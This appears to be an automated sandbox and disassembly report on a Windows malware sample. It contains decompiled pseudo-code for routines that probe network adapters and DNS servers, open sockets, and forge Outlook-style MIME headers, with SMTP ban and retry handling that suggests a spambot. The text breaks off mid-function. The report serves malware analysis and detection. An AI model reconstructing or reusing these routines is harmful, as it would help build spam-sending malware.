0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,73B74F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,73B74F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

ps, xrefs: 00402CC7

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: ps
API String ID: 1639031587-3878219058
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

Iphlpapi.dll, xrefs: 004019B7
GetIfEntry, xrefs: 004019E4
localcfg, xrefs: 004019A3
GetBestInterface, xrefs: 004019EF
123.45.67.89, xrefs: 004019A6
GetAdaptersInfo, xrefs: 004019DC
~s`ysps, xrefs: 004019B1

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~s`ysps
API String ID: 835516345-819159683
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 00434F49, Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434FD8
_get_int64_arg.LIBCMTD ref: 00435000
__aullrem.LIBCMT ref: 004351A5
__aulldiv.LIBCMT ref: 004351C7
_write_multi_char.LIBCMTD ref: 004352CE
_write_string.LIBCMTD ref: 004352E9
_write_multi_char.LIBCMTD ref: 00435315
_wctomb_s.LIBCMTD ref: 00435392

Strings

-, xrefs: 0043526E
9, xrefs: 004351D8

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: e144fa72b579469915186b0a4d7e3def257ef02dc43970424b2cf4a7e205faa2
Instruction ID: f80bbe311de77e4e47ff2819f8fc4005a6f8c170c3a2c03ad1dce67fcffbd4f1
Opcode Fuzzy Hash: e144fa72b579469915186b0a4d7e3def257ef02dc43970424b2cf4a7e205faa2
Instruction Fuzzy Hash: 33F14AB1D016299FDB24CF58CC99BEEB7B1BB88304F1491DAE419A7241D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00429606, Relevance: 30.0, APIs: 13, Strings: 4, Instructions: 220COMMON

Download Yara Rule

APIs

_wcscpy_s.LIBCMTD ref: 0042962D

Part of subcall function 0041DB00: __invalid_parameter.LIBCMTD ref: 0041DB72

__invoke_watson_if_error.LIBCMTD ref: 00429636
_strlen.LIBCMT ref: 0042964B
_strlen.LIBCMT ref: 0042965C
_memcpy_s.LIBCMTD ref: 004296A4
__invoke_watson_if_error.LIBCMTD ref: 004296AD

Part of subcall function 0041DF80: __invoke_watson.LIBCMTD ref: 0041DFA1

_strlen.LIBCMT ref: 004296BF
_strlen.LIBCMT ref: 004296D0

Strings

lS@, xrefs: 0042988A, 00429890
|S@, xrefs: 00429745
`S@, xrefs: 00429843
tS@, xrefs: 0042987C, 00429882

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _strlen$__invoke_watson_if_error$__invalid_parameter__invoke_watson_memcpy_s_wcscpy_s
String ID: `S@$lS@$tS@$|S@
API String ID: 3749650904-2621554435
Opcode ID: ebb97e8ab7952da96896eaf3accde5408bda12722f10d000d0ba032fc052276f
Instruction ID: 4a10c1ca25b6e64816d88b69ab48a707cd90d7093e0a14be4232e967c196febc
Opcode Fuzzy Hash: ebb97e8ab7952da96896eaf3accde5408bda12722f10d000d0ba032fc052276f
Instruction Fuzzy Hash: F39180B4E10228ABDB24DF51EC45BEA7774AB44704F5080AEF60966281D7789EC1CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0043C35B, Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C3F0
_get_int64_arg.LIBCMTD ref: 0043C418
__aullrem.LIBCMT ref: 0043C5C0
__aulldiv.LIBCMT ref: 0043C5E2
_write_multi_char.LIBCMTD ref: 0043C6FB
_write_string.LIBCMTD ref: 0043C716
_write_multi_char.LIBCMTD ref: 0043C742
__mbtowc_l.LIBCMTD ref: 0043C7B1

Strings

9, xrefs: 0043C5F3

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 04cdb6a6677daac410e6f38df6748c3734070899d59829240be93e7a6e21a86f
Instruction ID: 47de8c1b27b99bedccaded5cc3030da6870735f9353438c541172e368e474a78
Opcode Fuzzy Hash: 04cdb6a6677daac410e6f38df6748c3734070899d59829240be93e7a6e21a86f
Instruction Fuzzy Hash: 5AF15BB1E002299FDB24DF54CC81BAEB7B1FB89304F14519AE609B7241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,73BCEA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

GetNetworkParams, xrefs: 00402E28
iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
~s`ysps, xrefs: 00402E93

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$~s`ysps
API String ID: 929413710-64764534
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00434CA7, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434CAB
__get_printf_count_output.LIBCMTD ref: 00434CB9
__invalid_parameter.LIBCMTD ref: 00434D40
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434D55
_write_multi_char.LIBCMTD ref: 004352CE
_write_string.LIBCMTD ref: 004352E9
_write_multi_char.LIBCMTD ref: 00435315
_wctomb_s.LIBCMTD ref: 00435392

Strings

-, xrefs: 0043526E

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: ef7d1e0b58ade1ffe4c76e77cf3e34d69d47dac55ea04a635c637b85c2832bae
Instruction ID: 1dac7ba32cca16e2a50bada7017d967b95c7163baca578a565ceee22c9571879
Opcode Fuzzy Hash: ef7d1e0b58ade1ffe4c76e77cf3e34d69d47dac55ea04a635c637b85c2832bae
Instruction Fuzzy Hash: D1A19D70D016289BDF24DF55CC49BEEB7B0EB88305F1491DAE5187A281E678AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F
%OUTLOOK_HST, xrefs: 0040AEC5
%s%d, xrefs: 0040AE58
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
127.0.0.1, xrefs: 0040ADEB
%OUTLOOK_MID, xrefs: 0040AEAE
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 00434AF5, Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434AF9
_strlen.LIBCMT ref: 00434B29
_write_multi_char.LIBCMTD ref: 004352CE
_write_string.LIBCMTD ref: 004352E9
_write_multi_char.LIBCMTD ref: 00435315
_wctomb_s.LIBCMTD ref: 00435392

Strings

HD@, xrefs: 00434B1C
-, xrefs: 0043526E

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$HD@
API String ID: 2232461714-1281569576
Opcode ID: 6926c812a0e05dd9e8202e78254c29503885dfc4b2551c4f8841b9982f2ab26e
Instruction ID: 34409decd4991de5cd7c2a503c53c7ce7012c95dffc936c3d25ef62a959d667b
Opcode Fuzzy Hash: 6926c812a0e05dd9e8202e78254c29503885dfc4b2551c4f8841b9982f2ab26e
Instruction Fuzzy Hash: ADA17C70D016289BDB64CF54CC49BEEB7B1AB88305F1491DAD4186B291E778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

time_cfg, xrefs: 0040F323
ps, xrefs: 0040F375, 0040F3A0

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: ps$time_cfg
API String ID: 311057483-1008165782
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
